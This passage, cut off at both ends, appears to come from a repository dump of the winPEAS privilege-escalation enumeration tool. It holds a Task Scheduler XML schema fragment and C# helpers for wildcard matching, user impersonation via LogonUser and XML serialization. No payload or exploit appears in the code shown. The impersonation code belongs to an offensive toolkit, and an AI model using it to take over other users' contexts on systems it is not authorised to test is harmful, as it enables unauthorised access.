/>\n\t\t\t<xs:element name=\"Id\"   type=\"guidType\"       minOccurs=\"0\" />\n\t\t</xs:all>\n\t</xs:complexType>\n\n\t<!-- RestartOnFailure -->\n\t<xs:complexType name=\"restartType\">\n\t\t<xs:all>\n\t\t\t<xs:element name=\"Interval\">\n\t\t\t\t<xs:simpleType>\n\t\t\t\t\t<xs:restriction base=\"xs:duration\">\n\t\t\t\t\t\t<xs:minInclusive value=\"PT1M\"/>\n\t\t\t\t\t\t<xs:maxInclusive value=\"P31D\"/>\n\t\t\t\t\t</xs:restriction>\n\t\t\t\t</xs:simpleType>\n\t\t\t</xs:element>\n\t\t\t<xs:element name=\"Count\">\n\t\t\t\t<xs:simpleType>\n\t\t\t\t\t<xs:restriction base=\"xs:unsignedByte\">\n\t\t\t\t\t\t<xs:minInclusive value=\"1\"/>\n\t\t\t\t\t</xs:restriction>\n\t\t\t\t</xs:simpleType>\n\t\t\t</xs:element>\n\t\t</xs:all>\n\t</xs:complexType>\n\n\t<!-- Data -->\n\t<xs:simpleType name=\"dataType\">\n\t\t<xs:restriction base=\"xs:string\" />\n\t</xs:simpleType>\n\t\n\t<!-- Principals -->\n\t<xs:complexType name=\"principalsType\">\n\t\t<xs:sequence>\n\t\t\t<xs:element name=\"Principal\" type=\"principalType\" maxOccurs=\"1\" />\n\t\t</xs:sequence>\n\t</xs:complexType>\n\n\t<!-- Principal -->\n\t<xs:complexType name=\"principalType\">\n\t\t<xs:all>\n\t\t\t<xs:element name=\"UserId\" type=\"nonEmptyString\" minOccurs=\"0\" />\n\t\t\t<xs:element name=\"LogonType\" type=\"logonType\" minOccurs=\"0\" maxOccurs=\"1\"/>\n\t\t\t<xs:element name=\"GroupId\" type=\"nonEmptyString\" minOccurs=\"0\" />\n\t\t\t<xs:element name=\"DisplayName\" type=\"xs:string\" minOccurs=\"0\" />\n\t\t\t<xs:element name=\"RunLevel\" type=\"runLevelType\" minOccurs=\"0\" maxOccurs=\"1\"/>\n\t\t\t<xs:element name=\"ProcessTokenSidType\" type=\"processTokenSidType\" minOccurs=\"0\" maxOccurs=\"1\"/>\n\t\t\t<xs:element name=\"RequiredPrivileges\" type=\"requiredPrivilegesType\" minOccurs=\"0\" />\n\t\t</xs:all>\n\t\t<xs:attribute name=\"id\" type=\"xs:ID\" use=\"optional\" />\n\t</xs:complexType>\n\t\n\t<xs:simpleType name=\"logonType\">\n\t\t<xs:restriction base=\"xs:string\">\n\t\t\t<xs:enumeration value=\"S4U\" />\n\t\t\t<xs:enumeration value=\"Password\" />\n\t\t\t<xs:enumeration value=\"InteractiveToken\" />\n\t\t\t<!-- for backward compatibility -->\n\t\t\t<xs:enumeration value=\"InteractiveTokenOrPassword\" />\n\t\t</xs:restriction>\n\t</xs:simpleType>\n\n\t<xs:simpleType name=\"runLevelType\">\n\t\t<xs:restriction base=\"xs:string\">\n\t\t\t<xs:enumeration value=\"LeastPrivilege\" />\n\t\t\t<xs:enumeration value=\"HighestAvailable\" />\n\t\t</xs:restriction>\n\t</xs:simpleType>\n\n\t<xs:simpleType name=\"processTokenSidType\">\n\t\t<xs:restriction base=\"xs:string\">\n\t\t\t<xs:enumeration value=\"None\" />\n\t\t\t<xs:enumeration value=\"Unrestricted\" />\n\t\t</xs:restriction>\n\t</xs:simpleType>\n\n\t<xs:complexType name=\"requiredPrivilegesType\">\n\t\t<xs:sequence>\n\t\t\t<xs:element name=\"Privilege\" type=\"privilegeType\" minOccurs=\"1\" maxOccurs=\"64\"/>\n\t\t</xs:sequence>\n\t</xs:complexType>\n\n\t<xs:simpleType name=\"privilegeType\">\n\t\t<xs:restriction base=\"xs:string\">\n\t\t\t<xs:enumeration value=\"SeCreateTokenPrivilege\" />\n\t\t\t<xs:enumeration value=\"SeAssignPrimaryTokenPrivilege\" />\n\t\t\t<xs:enumeration value=\"SeLockMemoryPrivilege\" />\n\t\t\t<xs:enumeration value=\"SeIncreaseQuotaPrivilege\" />\n\t\t\t<xs:enumeration value=\"SeUnsolicitedInputPrivilege\" />\n\t\t\t<xs:enumeration value=\"SeMachineAccountPrivilege\" />\n\t\t\t<xs:enumeration value=\"SeTcbPrivilege\" />\n\t\t\t<xs:enumeration value=\"SeSecurityPrivilege\" />\n\t\t\t<xs:enumeration value=\"SeTakeOwnershipPrivilege\" />\n\t\t\t<xs:enumeration value=\"SeLoadDriverPrivilege\" />\n\t\t\t<xs:enumeration value=\"SeSystemProfilePrivilege\" />\n\t\t\t<xs:enumeration value=\"SeSystemtimePrivilege\" />\n\t\t\t<xs:enumeration value=\"SeProfileSingleProcessPrivilege\" />\n\t\t\t<xs:enumeration value=\"SeIncreaseBasePriorityPrivilege\" />\n\t\t\t<xs:enumeration value=\"SeCreatePagefilePrivilege\" />\n\t\t\t<xs:enumeration value=\"SeCreatePermanentPrivilege\" />\n\t\t\t<xs:enumeration value=\"SeBackupPrivilege\" />\n\t\t\t<xs:enumeration value=\"SeRestorePrivilege\" />\n\t\t\t<xs:enumeration value=\"SeShutdownPrivilege\" />\n\t\t\t<xs:enumeration value=\"SeDebugPrivilege\" />\n\t\t\t<xs:enumeration value=\"SeAuditPrivilege\" />\n\t\t\t<xs:enumeration value=\"SeSystemEnvironmentPrivilege\" />\n\t\t\t<xs:enumeration value=\"SeChangeNotifyPrivilege\" />\n\t\t\t<xs:enumeration value=\"SeRemoteShutdownPrivilege\" />\n\t\t\t<xs:enumeration value=\"SeUndockPrivilege\" />\n\t\t\t<xs:enumeration value=\"SeSyncAgentPrivilege\" />\n\t\t\t<xs:enumeration value=\"SeEnableDelegationPrivilege\" />\n\t\t\t<xs:enumeration value=\"SeManageVolumePrivilege\" />\n\t\t\t<xs:enumeration value=\"SeImpersonatePrivilege\" />\n\t\t\t<xs:enumeration value=\"SeCreateGlobalPrivilege\" />\n\t\t\t<xs:enumeration value=\"SeTrustedCredManAccessPrivilege\" />\n\t\t\t<xs:enumeration value=\"SeRelabelPrivilege\" />\n\t\t\t<xs:enumeration value=\"SeIncreaseWorkingSetPrivilege\" />\n\t\t\t<xs:enumeration value=\"SeTimeZonePrivilege\" />\n\t\t\t<xs:enumeration value=\"SeCreateSymbolicLinkPrivilege\" />\n\t\t</xs:restriction>\n\t</xs:simpleType>\n\n\t<!-- Actions -->\n\t<xs:complexType name=\"actionsType\">\n\t\t<xs:sequence>\n\t\t\t<xs:group ref=\"actionGroup\" maxOccurs=\"32\" />\n\t\t</xs:sequence>\n\t\t<xs:attribute name=\"Context\" type=\"xs:IDREF\" use=\"optional\" />\n\t</xs:complexType>\n\t\n\t<xs:group name=\"actionGroup\">\n\t\t<xs:choice>\n\t\t\t<xs:element name=\"Exec\"          type=\"execType\" />\n\t\t\t<xs:element name=\"ComHandler\"    type=\"comHandlerType\" />\n\t\t\t<xs:element name=\"SendEmail\"     type=\"sendEmailType\" />\n\t\t\t<xs:element name=\"ShowMessage\"   type=\"showMessageType\" />\n\t\t</xs:choice>\n\t</xs:group>\n\n\t<!-- Base type for actions. -->\n\t<xs:complexType name=\"actionBaseType\" abstract=\"true\">\n\t\t<xs:attribute name=\"id\" type=\"xs:ID\" use=\"optional\" />\n\t</xs:complexType>\n\n\t<!-- Exec -->\n\t<xs:complexType name=\"execType\">\n\t\t<xs:complexContent>\n\t\t\t<xs:extension base=\"actionBaseType\">\n\t\t\t\t<xs:all>\n\t\t\t\t\t<xs:element name=\"Command\"          type=\"pathType\"/>\n\t\t\t\t\t<xs:element name=\"Arguments\"        type=\"xs:string\" minOccurs=\"0\"/>\n\t\t\t\t\t<xs:element name=\"WorkingDirectory\" type=\"pathType\" minOccurs=\"0\"/>\n\t\t\t\t</xs:all>\n\t\t\t</xs:extension>\n\t\t</xs:complexContent>\n\t</xs:complexType>\n\n\t<!-- ComHandler -->\n\t<xs:complexType name=\"comHandlerType\">\n\t\t<xs:complexContent>\n\t\t\t<xs:extension base=\"actionBaseType\">\n\t\t\t\t<xs:all>\n\t\t\t\t\t<xs:element name=\"ClassId\"  type=\"guidType\" />\n\t\t\t\t\t<xs:element name=\"Data\"     type=\"dataType\" minOccurs=\"0\" />\n\t\t\t\t</xs:all>\n\t\t\t</xs:extension>\n\t\t</xs:complexContent>\n\t</xs:complexType>\n\n\t<xs:simpleType name=\"guidType\">\n\t\t<xs:restriction base=\"xs:string\">\n\t\t\t<!-- GUID should be in a form: {xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx} where x is a hexadecimal digit. -->\n\t\t\t<xs:pattern value=\"[\\{]?([0-9a-fA-F]){8}(\\-[0-9a-fA-F]{4}){3}\\-[0-9a-fA-F]{12}[\\}]?\" />\n\t\t</xs:restriction>\n\t</xs:simpleType>\n\n\t<!-- SendEmail -->\n\t<xs:complexType name=\"sendEmailType\">\n\t\t<xs:complexContent>\n\t\t\t<xs:extension base=\"actionBaseType\">\n\t\t\t\t<xs:all>\n\t\t\t\t\t<xs:element name=\"Server\"       type=\"nonEmptyString\" />\n\t\t\t\t\t<xs:element name=\"Subject\"      type=\"xs:string\"        minOccurs=\"0\" />\n\t\t\t\t\t<xs:element name=\"To\"           type=\"xs:string\"        minOccurs=\"0\" />\n\t\t\t\t\t<xs:element name=\"Cc\"           type=\"xs:string\"        minOccurs=\"0\" />\n\t\t\t\t\t<xs:element name=\"Bcc\"          type=\"xs:string\"        minOccurs=\"0\" />\n\t\t\t\t\t<xs:element name=\"ReplyTo\"      type=\"xs:string\"        minOccurs=\"0\" />\n\t\t\t\t\t<xs:element name=\"From\"         type=\"xs:string\"        minOccurs=\"0\" />\n\t\t\t\t\t<xs:element name=\"HeaderFields\" type=\"headerFieldsType\" minOccurs=\"0\" />\n\t\t\t\t\t<xs:element name=\"Body\"         type=\"xs:string\"        minOccurs=\"0\" />\n\t\t\t\t\t<xs:element name=\"Attachments\"  type=\"attachmentsType\"  minOccurs=\"0\" />\n\t\t\t\t</xs:all>\n\t\t\t</xs:extension>\n\t\t</xs:complexContent>\n\t</xs:complexType>\n\n\t<xs:complexType name=\"headerFieldsType\">\n\t\t<xs:sequence>\n\t\t\t<xs:element name=\"HeaderField\"  type=\"headerFieldType\"  minOccurs=\"0\"   maxOccurs=\"32\"/>\n\t\t</xs:sequence>\n\t</xs:complexType>\n\n\t<xs:complexType name=\"headerFieldType\">\n\t\t<xs:all>\n\t\t\t<xs:element name=\"Name\"         type=\"nonEmptyString\" />\n\t\t\t<xs:element name=\"Value\"        type=\"xs:string\" />\n\t\t</xs:all>\n\t</xs:complexType>\n\n\t<xs:complexType name=\"attachmentsType\">\n\t\t<xs:sequence>\n\t\t\t<xs:element name=\"File\"  type=\"nonEmptyString\"  minOccurs=\"0\"   maxOccurs=\"8\"/>\n\t\t</xs:sequence>\n\t</xs:complexType>\n\n\t<!-- ShowMessage -->\n\t<xs:complexType name=\"showMessageType\">\n\t\t<xs:complexContent>\n\t\t\t<xs:extension base=\"actionBaseType\">\n\t\t\t\t<xs:all>\n\t\t\t\t\t<xs:element name=\"Title\"  type=\"nonEmptyString\" />\n\t\t\t\t\t<xs:element name=\"Body\"   type=\"nonEmptyString\" />\n\t\t\t\t</xs:all>\n\t\t\t</xs:extension>\n\t\t</xs:complexContent>\n\t</xs:complexType>\n\n</xs:schema>\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/Wildcard.cs",
    "content": "﻿using System.Text.RegularExpressions;\n\nnamespace winPEAS.TaskScheduler\n{\n    /// <summary>\n    /// Represents a wildcard running on the\n    /// <see cref=\"System.Text.RegularExpressions\"/> engine.\n    /// </summary>\n    public class Wildcard : Regex\n    {\n        /// <summary>\n        /// Initializes a wildcard with the given search pattern and options.\n        /// </summary>\n        /// <param name=\"pattern\">The wildcard pattern to match.</param>\n        /// <param name=\"options\">A combination of one or more <see cref=\"System.Text.RegularExpressions.RegexOptions\"/>.</param>\n        public Wildcard([NotNull] string pattern, RegexOptions options = RegexOptions.Compiled | RegexOptions.IgnoreCase | RegexOptions.IgnorePatternWhitespace)\n            : base(WildcardToRegex(pattern), options)\n        {\n        }\n\n        /// <summary>\n        /// Converts a wildcard to a regular expression.\n        /// </summary>\n        /// <param name=\"pattern\">The wildcard pattern to convert.</param>\n        /// <returns>A regular expression equivalent of the given wildcard.</returns>\n        public static string WildcardToRegex([NotNull] string pattern)\n        {\n            string s = Escape(pattern);\n            s = Replace(s, @\"(?<!\\\\)\\\\\\*\", @\".*\"); // Negative Lookbehind\n            s = Replace(s, @\"\\\\\\\\\\\\\\*\", @\"\\*\");\n            s = Replace(s, @\"(?<!\\\\)\\\\\\?\", @\".\");  // Negative Lookbehind\n            s = Replace(s, @\"\\\\\\\\\\\\\\?\", @\"\\?\");\n            return string.Concat(\"^\", Replace(s, @\"\\\\\\\\\\\\\\\\\", @\"\\\\\"), \"$\");\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/WindowsImpersonatedIdentity.cs",
    "content": "﻿using System;\nusing System.ComponentModel;\nusing System.Runtime.InteropServices;\nusing System.Security.Principal;\nusing winPEAS.Native;\nusing winPEAS.Native.Classes;\n\nnamespace winPEAS.TaskScheduler\n{\n    /// <summary>\n    /// Impersonation of a user. Allows to execute code under another\n    /// user context.\n    /// Please note that the account that instantiates the Impersonator class\n    /// needs to have the 'Act as part of operating system' privilege set.\n    /// </summary>\n    internal class WindowsImpersonatedIdentity : IDisposable, IIdentity\n    {\n        private const int LOGON_TYPE_NEW_CREDENTIALS = 9;\n        private const int LOGON32_LOGON_INTERACTIVE = 2;\n        private const int LOGON32_PROVIDER_DEFAULT = 0;\n        private const int LOGON32_PROVIDER_WINNT50 = 3;\n\n#if NETSTANDARD || NETCOREAPP\n#else\n        private WindowsImpersonationContext impersonationContext = null;\n#endif\n        SafeTokenHandle token;\n        private WindowsIdentity identity = null;\n\n        /// <summary>\n        /// Constructor. Starts the impersonation with the given credentials.\n        /// Please note that the account that instantiates the Impersonator class\n        /// needs to have the 'Act as part of operating system' privilege set.\n        /// </summary>\n        /// <param name=\"userName\">The name of the user to act as.</param>\n        /// <param name=\"domainName\">The domain name of the user to act as.</param>\n        /// <param name=\"password\">The password of the user to act as.</param>\n        public WindowsImpersonatedIdentity(string userName, string domainName, string password)\n        {\n            if (string.IsNullOrEmpty(userName) && string.IsNullOrEmpty(domainName) && string.IsNullOrEmpty(password))\n            {\n                identity = WindowsIdentity.GetCurrent();\n            }\n            else\n            {\n                if (Advapi32.LogonUser(userName, domainName, password, domainName == null ? LOGON_TYPE_NEW_CREDENTIALS : LOGON32_LOGON_INTERACTIVE, domainName == null ? LOGON32_PROVIDER_WINNT50 : LOGON32_PROVIDER_DEFAULT, out token) != 0)\n                {\n#if NETSTANDARD || NETCOREAPP\n\t\t\t\t\tif (!NativeMethods.ImpersonateLoggedOnUser(token.DangerousGetHandle()))\n\t\t\t\t\t\tthrow new Win32Exception();\n#else\n                    identity = new WindowsIdentity(token.DangerousGetHandle());\n                    impersonationContext = identity.Impersonate();\n#endif\n                }\n                else\n                {\n                    throw new Win32Exception(Marshal.GetLastWin32Error());\n                }\n            }\n        }\n\n        public string AuthenticationType => identity?.AuthenticationType;\n\n        public bool IsAuthenticated => identity != null && identity.IsAuthenticated;\n\n        public string Name => identity?.Name;\n\n        public void Dispose()\n        {\n#if NETSTANDARD || NETCOREAPP\n\t\t\tNativeMethods.RevertToSelf();\n#else\n            impersonationContext?.Undo();\n#endif\n            token?.Dispose();\n            identity?.Dispose();\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/XmlSerializationHelper.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.ComponentModel;\nusing System.Reflection;\nusing System.Text;\nusing System.Xml;\nusing System.Xml.Serialization;\n\nnamespace winPEAS.TaskScheduler\n{\n    internal static class XmlSerializationHelper\n    {\n        public static object GetDefaultValue([NotNull] PropertyInfo prop)\n        {\n            var attributes = prop.GetCustomAttributes(typeof(DefaultValueAttribute), true);\n            if (attributes.Length > 0)\n            {\n                var defaultAttr = (DefaultValueAttribute)attributes[0];\n                return defaultAttr.Value;\n            }\n\n            // Attribute not found, fall back to default value for the type \n            if (prop.PropertyType.IsValueType)\n                return Activator.CreateInstance(prop.PropertyType);\n            return null;\n        }\n\n        private static bool GetPropertyValue(object obj, [NotNull] string property, ref object outVal)\n        {\n            PropertyInfo pi = obj?.GetType().GetProperty(property);\n            if (pi != null)\n            {\n                outVal = pi.GetValue(obj, null);\n                return true;\n            }\n            return false;\n        }\n\n        private static bool GetAttributeValue(Type objType, Type attrType, string property, bool inherit, ref object outVal)\n        {\n            object[] attrs = objType.GetCustomAttributes(attrType, inherit);\n            if (attrs.Length > 0)\n                return GetPropertyValue(attrs[0], property, ref outVal);\n            return false;\n        }\n\n        private static bool GetAttributeValue([NotNull] PropertyInfo propInfo, Type attrType, string property, bool inherit, ref object outVal)\n        {\n            Attribute attr = Attribute.GetCustomAttribute(propInfo, attrType, inherit);\n            return GetPropertyValue(attr, property, ref outVal);\n        }\n\n        private static bool IsStandardType(Type type) => type.IsPrimitive || type == typeof(DateTime) || type == typeof(DateTimeOffset) || type == typeof(Decimal) || type == typeof(Guid) || type == typeof(TimeSpan) || type == typeof(string) || type.IsEnum;\n\n        private static bool HasMembers([NotNull] object obj)\n        {\n            if (obj is IXmlSerializable)\n            {\n                using (System.IO.MemoryStream mem = new System.IO.MemoryStream())\n                {\n                    using (XmlTextWriter tw = new XmlTextWriter(mem, Encoding.UTF8))\n                    {\n                        ((IXmlSerializable)obj).WriteXml(tw);\n                        tw.Flush();\n                        return mem.Length > 3;\n                    }\n                }\n            }\n\n            // Enumerate each public property\n            PropertyInfo[] props = obj.GetType().GetProperties(BindingFlags.Instance | BindingFlags.Public);\n            foreach (var pi in props)\n            {\n                if (!Attribute.IsDefined(pi, typeof(XmlIgnoreAttribute), false))\n                {\n                    object value = pi.GetValue(obj, null);\n                    if (!Equals(value, GetDefaultValue(pi)))\n                    {\n                        if (!IsStandardType(pi.PropertyType))\n                        {\n                            if (HasMembers(value))\n                                return true;\n                        }\n                        else\n                            return true;\n                    }\n                }\n            }\n            return false;\n        }\n\n        public static string GetPropertyAttributeName([NotNull] PropertyInfo pi)\n        {\n            object oVal = null;\n            string eName = pi.Name;\n            if (GetAttributeValue(pi, typeof(XmlAttributeAttribute), \"AttributeName\", false, ref oVal))\n                eName = oVal.ToString();\n            return eName;\n        }\n\n        public static string GetPropertyElementName([NotNull] PropertyInfo pi)\n        {\n            object oVal = null;\n            string eName = pi.Name;\n            if (GetAttributeValue(pi, typeof(XmlElementAttribute), \"ElementName\", false, ref oVal))\n                eName = oVal.ToString();\n            else if (GetAttributeValue(pi.PropertyType, typeof(XmlRootAttribute), \"ElementName\", true, ref oVal))\n                eName = oVal.ToString();\n            return eName;\n        }\n\n        public delegate bool PropertyConversionHandler([NotNull] PropertyInfo pi, Object obj, ref Object value);\n\n        public static bool WriteProperty([NotNull] XmlWriter writer, [NotNull] PropertyInfo pi, [NotNull] Object obj, PropertyConversionHandler handler = null)\n        {\n            if (Attribute.IsDefined(pi, typeof(XmlIgnoreAttribute), false) || Attribute.IsDefined(pi, typeof(XmlAttributeAttribute), false))\n                return false;\n\n            object value = pi.GetValue(obj, null);\n            object defValue = GetDefaultValue(pi);\n            if ((value == null && defValue == null) || (value != null && value.Equals(defValue)))\n                return false;\n\n            Type propType = pi.PropertyType;\n            if (handler != null && handler(pi, obj, ref value))\n                propType = value.GetType();\n\n            bool isStdType = IsStandardType(propType);\n            bool rw = pi.CanRead && pi.CanWrite;\n            bool ro = pi.CanRead && !pi.CanWrite;\n            string eName = GetPropertyElementName(pi);\n            if (isStdType && rw)\n            {\n                string output = GetXmlValue(value, propType);\n                if (output != null)\n                    writer.WriteElementString(eName, output);\n            }\n            else if (!isStdType)\n            {\n                object outVal = null;\n                if (propType.GetInterface(\"IXmlSerializable\") == null && GetAttributeValue(pi, typeof(XmlArrayAttribute), \"ElementName\", true, ref outVal) && propType.GetInterface(\"IEnumerable\") != null)\n                {\n                    if (string.IsNullOrEmpty(outVal.ToString())) outVal = eName;\n                    writer.WriteStartElement(outVal.ToString());\n                    var attributes = Attribute.GetCustomAttributes(pi, typeof(XmlArrayItemAttribute), true);\n                    var dict = new Dictionary<Type, string>(attributes.Length);\n                    foreach (XmlArrayItemAttribute a in attributes)\n                        dict.Add(a.Type, a.ElementName);\n                    foreach (object item in ((System.Collections.IEnumerable)value))\n                    {\n                        string aeName;\n                        Type itemType = item.GetType();\n                        if (dict.TryGetValue(itemType, out aeName))\n                        {\n                            if (IsStandardType(itemType))\n                                writer.WriteElementString(aeName, GetXmlValue(item, itemType));\n                            else\n                                WriteObject(writer, item, null, false, aeName);\n                        }\n                    }\n                    writer.WriteEndElement();\n                }\n                else\n                    WriteObject(writer, value);\n            }\n            return false;\n        }\n\n        private static string GetXmlValue([NotNull] object value, Type propType)\n        {\n            string output = null;\n            if (propType.IsEnum)\n            {\n                if (Attribute.IsDefined(propType, typeof(FlagsAttribute), false))\n                    output = Convert.ChangeType(value, Enum.GetUnderlyingType(propType)).ToString();\n                else\n                    output = value.ToString();\n            }\n            else\n            {\n                switch (propType.FullName)\n                {\n                    case \"System.Boolean\":\n                        output = XmlConvert.ToString((System.Boolean)value);\n                        break;\n                    case \"System.Byte\":\n                        output = XmlConvert.ToString((System.Byte)value);\n                        break;\n                    case \"System.Char\":\n                        output = XmlConvert.ToString((System.Char)value);\n                        break;\n                    case \"System.DateTime\":\n                        output = XmlConvert.ToString((System.DateTime)value, XmlDateTimeSerializationMode.RoundtripKind);\n                        break;\n                    case \"System.DateTimeOffset\":\n                        output = XmlConvert.ToString((System.DateTimeOffset)value);\n                        break;\n                    case \"System.Decimal\":\n                        output = XmlConvert.ToString((System.Decimal)value);\n                        break;\n                    case \"System.Double\":\n                        output = XmlConvert.ToString((System.Double)value);\n                        break;\n                    case \"System.Single\":\n                        output = XmlConvert.ToString((System.Single)value);\n                        break;\n                    case \"System.Guid\":\n                        output = XmlConvert.ToString((System.Guid)value);\n                        break;\n                    case \"System.Int16\":\n                        output = XmlConvert.ToString((System.Int16)value);\n                        break;\n                    case \"System.Int32\":\n                        output = XmlConvert.ToString((System.Int32)value);\n                        break;\n                    case \"System.Int64\":\n                        output = XmlConvert.ToString((System.Int64)value);\n                        break;\n                    case \"System.SByte\":\n                        output = XmlConvert.ToString((System.SByte)value);\n                        break;\n                    case \"System.TimeSpan\":\n                        output = XmlConvert.ToString((System.TimeSpan)value);\n                        break;\n                    case \"System.UInt16\":\n                        output = XmlConvert.ToString((System.UInt16)value);\n                        break;\n                    case \"System.UInt32\":\n                        output = XmlConvert.ToString((System.UInt32)value);\n                        break;\n                    case \"System.UInt64\":\n                        output = XmlConvert.ToString((System.UInt64)value);\n                        break;\n                    default:\n                        output = value == null ? string.Empty : value.ToString();\n                        break;\n                }\n            }\n\n            return output;\n        }\n\n        public static void WriteObjectAttributes([NotNull] XmlWriter writer, [NotNull] object obj, PropertyConversionHandler handler = null)\n        {\n            // Enumerate each property\n            foreach (var pi in obj.GetType().GetProperties(BindingFlags.Instance | BindingFlags.Public))\n                if (Attribute.IsDefined(pi, typeof(XmlAttributeAttribute), false))\n                    WriteObjectAttribute(writer, pi, obj, handler);\n        }\n\n        public static void WriteObjectAttribute([NotNull] XmlWriter writer, [NotNull] PropertyInfo pi, [NotNull] object obj, PropertyConversionHandler handler = null)\n        {\n            object value = pi.GetValue(obj, null);\n            object defValue = GetDefaultValue(pi);\n            if ((value == null && defValue == null) || (value != null && value.Equals(defValue)))\n                return;\n\n            Type propType = pi.PropertyType;\n            if (handler != null && handler(pi, obj, ref value))\n                propType = value.GetType();\n\n            writer.WriteAttributeString(GetPropertyAttributeName(pi), GetXmlValue(value, propType));\n        }\n\n        public static void WriteObjectProperties([NotNull] XmlWriter writer, [NotNull] object obj, PropertyConversionHandler handler = null)\n        {\n            // Enumerate each public property\n            foreach (var pi in obj.GetType().GetProperties(BindingFlags.Instance | BindingFlags.Public))\n                WriteProperty(writer, pi, obj, handler);\n        }\n\n        public static void WriteObject([NotNull] XmlWriter writer, [NotNull] object obj, PropertyConversionHandler handler = null, bool includeNS = false, string elemName = null)\n        {\n            if (obj == null)\n                return;\n\n            // Get name of top level element\n            string oName = elemName ?? GetElementName(obj);\n\n            if (!HasMembers(obj))\n                return;\n\n            if (includeNS)\n                writer.WriteStartElement(oName, GetTopLevelNamespace(obj));\n            else\n                writer.WriteStartElement(oName);\n\n            if (obj is IXmlSerializable)\n            {\n                ((IXmlSerializable)obj).WriteXml(writer);\n            }\n            else\n            {\n                WriteObjectAttributes(writer, obj, handler);\n                WriteObjectProperties(writer, obj, handler);\n            }\n\n            writer.WriteEndElement();\n        }\n\n        public static string GetElementName([NotNull] object obj)\n        {\n            object oVal = null;\n            return GetAttributeValue(obj.GetType(), typeof(XmlRootAttribute), \"ElementName\", true, ref oVal) ? oVal.ToString() : obj.GetType().Name;\n        }\n\n        public static string GetTopLevelNamespace([NotNull] object obj)\n        {\n            object oVal = null;\n            return GetAttributeValue(obj.GetType(), typeof(XmlRootAttribute), \"Namespace\", true, ref oVal) ? oVal.ToString() : null;\n        }\n\n        public static void ReadObjectProperties([NotNull] XmlReader reader, [NotNull] object obj, PropertyConversionHandler handler = null)\n        {\n            // Build property lookup table\n            PropertyInfo[] props = obj.GetType().GetProperties(BindingFlags.Instance | BindingFlags.Public);\n            Dictionary<string, PropertyInfo> attrHash = new Dictionary<string, PropertyInfo>(props.Length);\n            Dictionary<string, PropertyInfo> propHash = new Dictionary<string, PropertyInfo>(props.Length);\n            foreach (var pi in props)\n            {\n                if (!Attribute.IsDefined(pi, typeof(XmlIgnoreAttribute), false))\n                {\n                    if (Attribute.IsDefined(pi, typeof(XmlAttributeAttribute), false))\n                        attrHash.Add(GetPropertyAttributeName(pi), pi);\n                    else\n                        propHash.Add(GetPropertyElementName(pi), pi);\n                }\n            }\n\n            if (reader.HasAttributes)\n            {\n                for (int i = 0; i < reader.AttributeCount; i++)\n                {\n                    PropertyInfo pi;\n                    reader.MoveToAttribute(i);\n                    if (attrHash.TryGetValue(reader.LocalName, out pi))\n                    {\n                        if (IsStandardType(pi.PropertyType))\n                        {\n                            object value = null;\n                            if (pi.PropertyType.IsEnum)\n                                value = Enum.Parse(pi.PropertyType, reader.Value);\n                            else\n                                value = Convert.ChangeType(reader.Value, pi.PropertyType);\n\n                            if (handler != null)\n                                handler(pi, obj, ref value);\n\n                            pi.SetValue(obj, value, null);\n                        }\n                    }\n                }\n            }\n\n            while (reader.MoveToContent() == XmlNodeType.Element)\n            {\n                PropertyInfo pi;\n                object outVal = null;\n                if (propHash.TryGetValue(reader.LocalName, out pi))\n                {\n                    var tc = TypeDescriptor.GetConverter(pi.PropertyType);\n                    if (IsStandardType(pi.PropertyType))\n                    {\n                        object value = null;\n                        if (pi.PropertyType.IsEnum)\n                            value = Enum.Parse(pi.PropertyType, reader.ReadElementContentAsString());\n                        else if (pi.PropertyType == typeof(Guid))\n                            value = new GuidConverter().ConvertFromString(reader.ReadElementContentAsString());\n                        else\n                            value = reader.ReadElementContentAs(pi.PropertyType, null);\n\n                        if (handler != null)\n                            handler(pi, obj, ref value);\n\n                        pi.SetValue(obj, value, null);\n                    }\n                    else if (pi.PropertyType == typeof(Version))\n                    {\n                        Version v = new Version(reader.ReadElementContentAsString());\n                        pi.SetValue(obj, v, null);\n                    }\n                    else if (pi.PropertyType.GetInterface(\"IEnumerable\") != null && pi.PropertyType.GetInterface(\"IXmlSerializable\") == null && GetAttributeValue(pi, typeof(XmlArrayAttribute), \"ElementName\", true, ref outVal))\n                    {\n                        string elem = string.IsNullOrEmpty(outVal?.ToString()) ? pi.Name : outVal.ToString();\n                        reader.ReadStartElement(elem);\n                        var attributes = Attribute.GetCustomAttributes(pi, typeof(XmlArrayItemAttribute), true);\n                        var dict = new Dictionary<string, Type>(attributes.Length);\n                        foreach (XmlArrayItemAttribute a in attributes)\n                            dict.Add(a.ElementName, a.Type);\n                        List<object> output = new List<object>();\n                        while (reader.MoveToContent() == XmlNodeType.Element)\n                        {\n                            Type itemType;\n                            if (dict.TryGetValue(reader.LocalName, out itemType))\n                            {\n                                object o;\n                                if (IsStandardType(itemType))\n                                    o = reader.ReadElementContentAs(itemType, null);\n                                else\n                                {\n                                    o = Activator.CreateInstance(itemType);\n                                    ReadObject(reader, o, handler);\n                                }\n                                if (o != null)\n                                    output.Add(o);\n                            }\n                        }\n                        reader.ReadEndElement();\n                        if (output.Count > 0)\n                        {\n                            System.Collections.IEnumerable par = output;\n                            Type et = typeof(object);\n                            if (dict.Count == 1)\n                            {\n                                foreach (var v in dict.Values) { et = v; break; }\n                            }\n                            /*else\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tType t1 = output[0].GetType();\n\t\t\t\t\t\t\t\tbool same = true;\n\t\t\t\t\t\t\t\tforeach (var item in output)\n\t\t\t\t\t\t\t\t\tif (item.GetType() != t1) { same = false; break; }\n\t\t\t\t\t\t\t\tif (same)\n\t\t\t\t\t\t\t\t\tet = t1;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (et != typeof(object))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tArray ao = Array.CreateInstance(et, output.Count);\n\t\t\t\t\t\t\t\tfor (int i = 0; i < output.Count; i++)\n\t\t\t\t\t\t\t\t\tao.SetValue(output[i], i);\n\t\t\t\t\t\t\t\tpar = ao;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tpar = output.ToArray();*/\n                            bool done = false;\n                            if (pi.PropertyType == par.GetType() || (pi.PropertyType.IsArray && 